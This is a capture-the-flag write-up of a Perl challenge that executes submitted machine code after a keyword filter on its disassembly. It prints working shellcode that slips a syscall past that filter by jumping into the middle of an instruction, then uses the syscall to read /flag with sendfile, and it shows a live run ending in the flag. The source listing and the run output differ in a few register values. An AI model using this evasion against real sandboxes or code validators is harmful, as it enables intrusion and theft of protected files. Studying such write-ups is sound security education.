Now you have two problems.
Category: pwn
Solver: c0mpb4u3r, t0b1
Flag: GPNCTF{On3_d0es_Not_s1mply_Jump_int0_th3_m1ddle_of_4n_instruct1ion!!1}
Introduction
Imagine you want to allow users to execute their code on your server. There are a few reasonable options, like WebAssembly for instance. However, you could just write a Perl program that reads arbitrary bytes from stdin and tries to execute them directly on the host CPU.
So let’s write some Perl…
# Assume we have our code in $p
# Mark memory as executable.
syscall(10, $p, $s, 4);
# Execute this memory region.
&{DynaLoader::dl_install_xsub("", $p)};
Looks sketchy, doesn’t it?
In order to make this “enterprise-grade”, we could run the submitted code (STDIN) through a disasembler in order to check if it contains something malicious. Of course, this method works 100% of the time, right? To implement this feature, we could use code similar to this:
# $out is our disasembler output.
for (<$out>) {
# Print each line of disassembled code.
print $_;
print fh $_;
# Check for potentially harmful instructions.
if (/syscall|sysenter|int|0x3b/) {
# Exit if any harmful contents are found.
die "no hax pls";
}
}
Here, the loop iterates over every line of the disassembled output and checks
whether it contains syscall
, sysenter
, int
or 0x3b
, the latter of them
being the hexadecimal representation of 59, which is the syscall number for sys_execve
.
If any of those keywords are found, the program dies and refuses to execute the user-submitted code. The code we interact with in this challenge does exactly this:
#!/usr/bin/perl
use strict;
use DynaLoader;
use IPC::Open2;
print "Disassemble what?\n";
$| = 1;
my $s = 42;
my $p = syscall(9, 0, $s, 2, 33, -1, 0);
syscall(0, 0, $p, $s);
my $c = unpack "P$s", pack("Q", $p);
open2 my $out, my $in, "ndisasm -b64 -";
print $in $c;
close $in;
for (<$out>) {
print $_;
if (/syscall|sysenter|int|0x3b/) {
die "no hax pls";
}
}
print "Looks safe.\n";
syscall(10, $p, $s, 4);
&{DynaLoader::dl_install_xsub("", $p)};
Trying to Break It
Of course, now we are in the role of the attacker, not the provider of this service.
The top-level goal is to either submit shellcode to open a remote shell or
read the flag at /flag
through other means.
In order to achieve this goal, we first have to figure out which sequence of bytes we feed the program so that it’s sanitizer doesn’t trigger.
If we want to be smart and sneak malicious code behind the sanitizer, we could just do something like this, right?
.intel_syntax
_start:
jmp after_hole
# 8 Byte hole where instructions could be placed.
hole:
.quad 0x0
after_hole:
# Copy a malicious instruction into the hole
# 0x2a being a placeholder for anything malicious.
mov $0x2a, %rdi
mov %rdi, qword ptr [%rip+hole]
# Jump to the malicious code we just created.
jmp hole
In theory, that would work. However, due to memory protection rules offered by most of today’s kernels, most pages that are marked as executable are not writeable. Doing so will often result in a segfault. So, if we can’t to this, what do we do instead?
More Failed Attempts
Another thing one might try is to “search” all code near the current code, meaning that we start at the instruction pointer and then work our way to lower or higher addresses. For each byte we traverse, we check if it is a syscall instruction. If we found one, we write down its address, manipulate some registers and jump to the written down address.
However, we have another problem: In order to make their service even more enterprise-grade, the author has set a limit on how many bytes we can submit.
Oh shoot, 42 bytes is all we have. Therefore, options like this one are out of the window, we must find smarter ways to break the sanitizer.
Actually Breaking It
Lets start with the code that was used to break the verification:
BITS 64
section .text
global _start
_start:
; /flag
mov rbx, 0x67616c662f
push rbx
; rdi = &/flag
push rsp
pop rdi
; rsi = 0
xor esi, esi
; sys_open
push 0x2
pop rax
; syscall
jmp hax+1
hax:
db 0x8
db 0x0f
db 0x05
sendfile:
; filedescriptor
mov rsi, rax
mov r10d, 0x90
; sys_sendfile
mov al, 0x28
push 1
pop rdi
cdq
; syscall
jmp hax+1
Let’s not focus on the part between _start
and hax
as this is just some
typical code you would use to read the flag at /root
. It gets interesting in
the line above the hax
label. Here, we want to perform a sys_open
syscall.
However, due to the sanitizer, we lack a direct option to do so.
Instead, we use a clever hack to sneak a syscall
instruction into our code.
If we assemble a syscall
instruction, it looks like this:
>>> asm('syscall')
b'\x0f\x05'
These bytes look oddly familiar, don’t they?
After the hax
label, we have an additional 0x8
byte, which makes the disassembly starting at the hax
label look like this:
00000014 080F or [rdi],cl
00000016 056A015F48 add eax,0x485f016a
0000001B 89C6 mov esi,eax
As we can see, it disassembled the 080F
into an or [rdi],cl
instruction and interpreted the 05
as the start of the next one.
In fact, the disassembly is now slightly off from what we intended the assembly code to be.
By jumping into hax+1
, we skip the 0x8
byte and place our instruction
pointer at the start of 0x0f05
, which is the opcode for syscall
.
The rest of the code will execute as intended and we can now perform syscalls without the actual instruction in our assembly.
The last and key part is to “print” the flag.
We can achieve this through a sendfile
syscall, which “streams” our flag file
to stdout. However, we can’t just copy and paste our hax
label and its few
bytes, as it would exceed our 42-byte limit. Instead, after setting up the
sendfile
syscall, we just jump to hax+1
again to perform the syscall.
However, now we have an infinite loop in our code. But does it matter? — No, it doesn’t. We get what we want: our flag. If the program crashes or gets into an infinite loop is not our concern anymore :)
Finally, compile the assembly to binary so that the perl script can load it properly and send it over:
$ nasm -f bin code.asm -o code.bin
$ cat ./solve.bin | ncat --ssl another-one-bites-the-dust--doja-cat-4043.ctf.kitctf.de 443
Disassemble what?
00000000 48BB2F666C616700 mov rbx,0x67616c662f
-0000
0000000A 53 push rbx
0000000B 54 push rsp
0000000C 5F pop rdi
0000000D 31F6 xor esi,esi
0000000F 6A02 push byte +0x2
00000011 58 pop rax
00000012 EB01 jmp short 0x15
00000014 080F or [rdi],cl
00000016 056A015F48 add eax,0x485f016a
0000001B 89C6 mov esi,eax
0000001D 4831D2 xor rdx,rdx
00000020 41BA69000000 mov r10d,0x69
00000026 B028 mov al,0x28
00000028 EBEB jmp short 0x15
Looks safe.
GPNCTF{On3_d0es_Not_s1mply_Jump_int0_th3_m1ddle_of_4n_instruct1ion!!1}